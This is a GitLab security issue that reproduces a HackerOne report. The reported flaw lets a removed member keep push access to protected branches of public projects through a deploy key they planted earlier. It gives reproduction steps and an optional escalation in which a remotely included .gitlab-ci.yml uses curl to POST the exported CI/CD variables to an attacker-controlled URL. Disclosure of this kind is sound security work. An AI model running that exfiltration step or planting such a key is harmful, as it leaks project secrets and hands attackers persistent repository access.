Skip to content

Non-project member continues having write access to protected branches of public projects using deploy keys contrary to documentation

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2041789 by theluci on 2023-06-28, assigned to @greg:

Report | Attachments | How To Reproduce

Report

Hello,

Background

Gitlab provides a feature to set up Deploy Keys.
Only the maintainers/owner of a project can create or view project’s deploy keys.

According to the docs,

Although a deploy key is a secret that isn’t associated with a specific user, GitLab authorizes the creator of the deploy key if the Git-command triggers additional processes.

Also, according to this section,

pic-27jun-1.png

As can be seen, a non-project member should be unable to push to protected branches using deploy key.

Vulnerability

Vulnerability1

When a member that has been granted Allowed to push and merge access on protected branches in a project is removed from the project.
The member’s access is also automatically removed.
For example, LuciferHackerone2 is a member that has Allowed to push and merge access on protected branch main

pic-27jun-2.png

pic-27jun-3.png

After LuciferHackerone2 is removed from project, his access is automatically removed,

pic-27jun-4.png

pic-27jun-5.png

However, this does not work if member has inherited membership in a project.

That is, if an attacker has inherited membership in victim-project and has Allowed to push and merge access on protected branches. Then his access remains even after attacker is removed from the top-level group (loses his inherited membership in project).
This behaviour is potentially dangerous as victim would expect that removed member’s access is automatically removed as that is what usually happens and that is what should happen.

Vulnerability 2

The documentation states the following,

pic-27jun-1.png

The above is enforced correctly in case of private projects.
That is, for private projects, a non-project member cannot push to protected branches (even if he has access) using his deploy key. If he tries to do so, he is shown the following error,

pic-27jun-6.png

However, the above is not enforced for public projects.

That is, for public projects, a non-project member can continue pushing to protected branches using his deploy key contrary to documentation.

Steps to reproduce

  1. victim creates a public group victim-group and activates ultimate trial.
  2. victim creates a public project victim-project inside victim-group.
  3. victim goes to https://gitlab.com/<victim-group>/<victim-project>/-/settings/repository, Expand Deploy keys and adds a few deploy keys.

In a real-world scenario, there will already be a few keys added to the project.

4.victim goes to victim-group membership page https://gitlab.com/groups/<victim-group>/-/group_members and adds attacker as maintainer.
5. attacker goes to https://gitlab.com/<victim-group>/<victim-project>/-/settings/repository, Expand Protected branches and gives himself Allowed to push and merge access on protected branches.

pic-27jun-3.png

  1. attacker goes to https://gitlab.com/<victim-group>/<victim-project>/-/settings/repository, Expand Deploy keys and adds a trustworthy looking deploy key such as CI_SERVER_FALLBACK_KEY. (Be sure to grant write permissions to this key)

  2. attacker leaves victim-group.

  3. attacker is not a member of victim-project and should not be able to push to its protected branches (according to the docs). However, he is able to do that.

attacker goes to his terminal and runs the following commands,

git clone git@gitlab.com:<victim-group>/<victim-project>.git  
cd victim-project  
git init  
echo “Some text” > Sample.txt  
git add .  
git commit -m "my commit"  
git push origin  

(Optional)

  1. In the worst case scenario, attacker can edit the .gitlab-ci.yml file to include the link to a malicious .gitlab-ci.yml file that has code to leak victim-group and victim-project CI/CD variables.
include:    
  - '(raw url of the malicious .gitlab-ci.yml file located at some other location)'  

Malicious .gitlab-ci.yml file can be present in another-public-project in attacker’s another-public-group, containing the following content,

job_name:      
 script:      
   - export > test.txt      
   - curl -X POST --data "$(cat test.txt)" attacker-controlled-url  

attacker is not able to trigger a pipeline. However, if a member changes something (adding a new file, editing an existing file etc.) without inspecting the content of .gitlab-ci.yml file, a pipeline would be triggered automatically.

POC

poc-28jun.mp4

Output of checks

This bug happens on GitLab.com (Probably on instance too).

Impact

A non-project member can continue having write access to protected branches of public projects using deploy keys contrary to documentation.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: